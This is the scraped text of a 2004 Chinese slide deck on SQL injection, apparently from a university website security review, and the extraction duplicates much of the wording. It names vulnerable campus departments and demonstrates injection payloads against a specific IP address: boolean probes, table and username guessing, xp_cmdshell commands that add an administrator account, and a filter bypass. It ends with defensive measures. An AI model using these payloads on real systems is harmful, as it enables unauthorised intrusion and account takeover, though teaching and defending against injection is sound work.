sql 注入漏洞全接触

12
SQL SQL 注注注注注注注 注注注注注注注 注注 注注 2184254 2184254 2004-5-11 2004-5-11

Upload: dean-chavez

Post on 02-Jan-2016

34 views

Category:

Documents


8 download

DESCRIPTION

SQL 注入漏洞全接触. 周平 2184254 2004-5-11. 网站评比中发现的问题. 经济学院 serv-u 版本太低, 对于新闻的 ID 传入没有进行过滤 , 网上办公系统也有很大漏洞 外文学院 ID 传入没有进行过滤 软件学院 站内搜索没有对 ' 进行过滤 台湾研究院 ID 传入没有进行过滤 , 开放 SMTP,NNTP 等不必要服务 管理学院 serv-u 版本太低, SMTP 匿名发送, ID 传入没有进行过滤 厦大医院 ID 传入没有进行过滤 党委宣传部 ID 传入没有进行过滤 化学化工学院 ID 传入没有进行过滤 - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: SQL 注入漏洞全接触

SQLSQL 注入漏洞全接触注入漏洞全接触

周平周平21842542184254

2004-5-112004-5-11

Page 2: SQL 注入漏洞全接触

网站评比中发现的问题网站评比中发现的问题• 经济学院经济学院 serv-userv-u 版本太低, 对于新闻的版本太低, 对于新闻的 IDID 传入没有进行过滤传入没有进行过滤 ,, 网上办公系统也有很网上办公系统也有很

大漏洞大漏洞• 外文学院外文学院 IDID 传入没有进行过滤传入没有进行过滤• 软件学院软件学院 站内搜索没有对站内搜索没有对 '' 进行过滤进行过滤• 台湾研究院台湾研究院 IDID 传入没有进行过滤传入没有进行过滤 ,, 开放开放 SMTP,NNTPSMTP,NNTP 等不必要服务等不必要服务• 管理学院管理学院 serv-userv-u 版本太低, 版本太低, SMTPSMTP 匿名发送,匿名发送, IDID 传入没有进行过滤传入没有进行过滤• 厦大医院厦大医院 IDID 传入没有进行过滤传入没有进行过滤• 党委宣传部党委宣传部 IDID 传入没有进行过滤传入没有进行过滤• 化学化工学院化学化工学院 IDID 传入没有进行过滤传入没有进行过滤• 校工会校工会 IDID 传入没有进行过滤传入没有进行过滤• 党委组织部党委组织部 IDID 传入没有进行过滤传入没有进行过滤• 职业技术学院职业技术学院 IDID 传入没有进行过滤传入没有进行过滤• 图书馆图书馆 IDID 传入没有进行过滤传入没有进行过滤• 国际处国际处 IDID 传入没有进行过滤传入没有进行过滤• 人事处人事处 IDID 传入没有进行过滤传入没有进行过滤• 法学院法学院 IDID 传入没有进行过滤传入没有进行过滤 ,serv-u,serv-u 版本太低版本太低• 资产与后勤事务管理处资产与后勤事务管理处 IDID 传入没有进行过滤传入没有进行过滤

Page 3: SQL 注入漏洞全接触

SQL注入原理 SQL注入原理

•http://210.34.17.178/displaynews.asphttp://210.34.17.178/displaynews.asp?id=772?id=772‘‘

Microsoft OLE DB Provider for ODBC Drivers Microsoft OLE DB Provider for ODBC Drivers 错误 错误 '80040e14' '80040e14' [Microsoft][ODBC Microsoft Access Driver] [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询字符串的语法错误 在查询

表达式 表达式 'id = 772'' 'id = 772'' 中。 中。 /displaynews.asp/displaynews.asp ,行,行 31 31 说明说明 :: 数据库为数据库为 AccessAccess 程序没有对于程序没有对于 idid 进行过滤进行过滤 数据库表中有个字段名为数据库表中有个字段名为 idid

Page 4: SQL 注入漏洞全接触

判断能否进行SQL注入 判断能否进行SQL注入

1.1.http://210.34.17.178/displaynews.asp?id=772http://210.34.17.178/displaynews.asp?id=772 and 1=1and 1=1

2.2.http://210.34.17.178/displaynews.asp?id=772http://210.34.17.178/displaynews.asp?id=772 and 1=2and 1=2

如果如果 11 显示正常显示正常 ,, 22 显示错误显示错误 ,, 或者没有页面或者没有页面 , , 则表明可以进行则表明可以进行SQLSQL 注入注入

Page 5: SQL 注入漏洞全接触

判断数据库类型判断数据库类型

• http://210.34.17.178/displaynews.asp?id=http://210.34.17.178/displaynews.asp?id=772 and user>0772 and user>0useruser 是是 SQL ServerSQL Server 的内置变量的内置变量1.and (select count(*) from sysobjects)>01.and (select count(*) from sysobjects)>02.and (select count(*) from msysobjects)>2.and (select count(*) from msysobjects)>00

如果如果 11 正常正常 ,, 则表示则表示 Sql server.Sql server.

Page 6: SQL 注入漏洞全接触

注入方法注入方法• (A) ID=49 (A) ID=49 这类注入的参数是数字型,这类注入的参数是数字型, SQLSQL 语句原貌大致如下:语句原貌大致如下:

Select * from Select * from 表名 表名 where where 字段字段 =49=49注入的参数为注入的参数为 ID=49 And [ID=49 And [ 查询条件查询条件 ]] ,即是生成语句:,即是生成语句:Select * from Select * from 表名 表名 where where 字段字段 =49 And [=49 And [ 查询条件查询条件 ]]

(B) Class=(B) Class= 连续剧 这类注入的参数是字符型,连续剧 这类注入的参数是字符型, SQLSQL 语句原貌大致概如下:语句原貌大致概如下:Select * from Select * from 表名 表名 where where 字段字段 =’=’ 连续剧’ 连续剧’ 注入的参数为注入的参数为 Class=Class= 连续剧’ 连续剧’ and [and [ 查询条件查询条件 ] and ‘’=’ ] and ‘’=’ ,即是生成语,即是生成语句:句:Select * from Select * from 表名 表名 where where 字段字段 =’=’ 连续剧’ 连续剧’ and [and [ 查询条件查询条件 ] and ‘’] and ‘’=’’=’’

(C) (C) 搜索时没过滤参数的,如搜索时没过滤参数的,如 keyword=keyword= 关键字,关键字, SQLSQL 语句原貌大致如下:语句原貌大致如下:Select * from Select * from 表名 表名 where where 字段字段 like ’%like ’% 关键字关键字 %’ %’ 注入的参数为注入的参数为 keyword=’ and [keyword=’ and [ 查询条件查询条件 ] and ‘%25’=’] and ‘%25’=’ , 即是生成语, 即是生成语句:句:Select * from Select * from 表名 表名 wherewhere 字段字段 like ’%’ and [like ’%’ and [ 查询条件查询条件 ] and ‘%’=’] and ‘%’=’%’ %’

Page 7: SQL 注入漏洞全接触

猜表名猜表名

• ID=49 And (Select Count(*) from Admin)>=0 ID=49 And (Select Count(*) from Admin)>=0 • 表名猜出来后,将表名猜出来后,将 Count(*)Count(*) 替换成替换成 Count(Count( 字段字段

名名 )) , , • and (select top 1 len(username) from Admin)>and (select top 1 len(username) from Admin)>

0 0 猜用户名长度猜用户名长度• and (select top 1 asc(mid(username,1,1)) from and (select top 1 asc(mid(username,1,1)) from

Admin)>0 Admin)>0 猜用户名猜用户名

Page 8: SQL 注入漏洞全接触

利用系统表注入利用系统表注入 SQLServerSQLServer 数据库 数据库

• id=1;exec master..xp_cmdshell “net user namid=1;exec master..xp_cmdshell “net user name password /add”– e password /add”–

创建系统用户创建系统用户 Id=1;exec master..xp_cmdshell “net localgrouId=1;exec master..xp_cmdshell “net localgrou

p name administrators /add”--p name administrators /add”--把该用户加入把该用户加入 administratorsadministrators 组组

id=1;backup database id=1;backup database 数据库名 数据库名 to disk=’c:\into disk=’c:\inetpub\wwwroot\1.db’;--etpub\wwwroot\1.db’;--备份数据库…备份数据库… ....

Page 9: SQL 注入漏洞全接触

绕过程序限制继续注入 绕过程序限制继续注入

•where xtype=’U’ where xtype=’U’ •where xtype=char(85) where xtype=char(85)

Page 10: SQL 注入漏洞全接触

防范方法防范方法• Function SafeRequest(ParaName,ParaType)Function SafeRequest(ParaName,ParaType)

'--- '--- 传入参数 传入参数 ------'ParaName:'ParaName: 参数名称参数名称 -- 字符型字符型'ParaType:'ParaType: 参数类型参数类型 -- 数字型数字型 (1(1 表示以上参数是数字,表示以上参数是数字, 00 表示以上参数为字表示以上参数为字符符 ))

Dim ParaValueDim ParaValueParaValue=Request(ParaName)ParaValue=Request(ParaName)If ParaType=1 thenIf ParaType=1 then

If not isNumeric(ParaValue) thenIf not isNumeric(ParaValue) thenResponse.write "Response.write "参数参数 " & ParaName & "" & ParaName & "必须为数字必须为数字

型!型! ""Response.endResponse.end

End ifEnd ifElseElse

ParaValue=replace(ParaValue,"'","''")ParaValue=replace(ParaValue,"'","''")End ifEnd ifSafeRequest=ParaValueSafeRequest=ParaValueEnd function End function

Page 11: SQL 注入漏洞全接触

加强加强 SQL ServerSQL Server安全安全

• IPIP 安全策略里面安全策略里面 ,, 将将 TCP 1433, UDP1434TCP 1433, UDP1434端口拒绝所有端口拒绝所有 IP.. IP..

• 打打 SP3SP3 补丁 补丁 • 去除一些非常危险的存储过程去除一些非常危险的存储过程

use master use master go go sp_dropextendedproc 'xp_cmdshell'sp_dropextendedproc 'xp_cmdshell'

Page 12: SQL 注入漏洞全接触

谢谢大家谢谢大家

•欢迎交流欢迎交流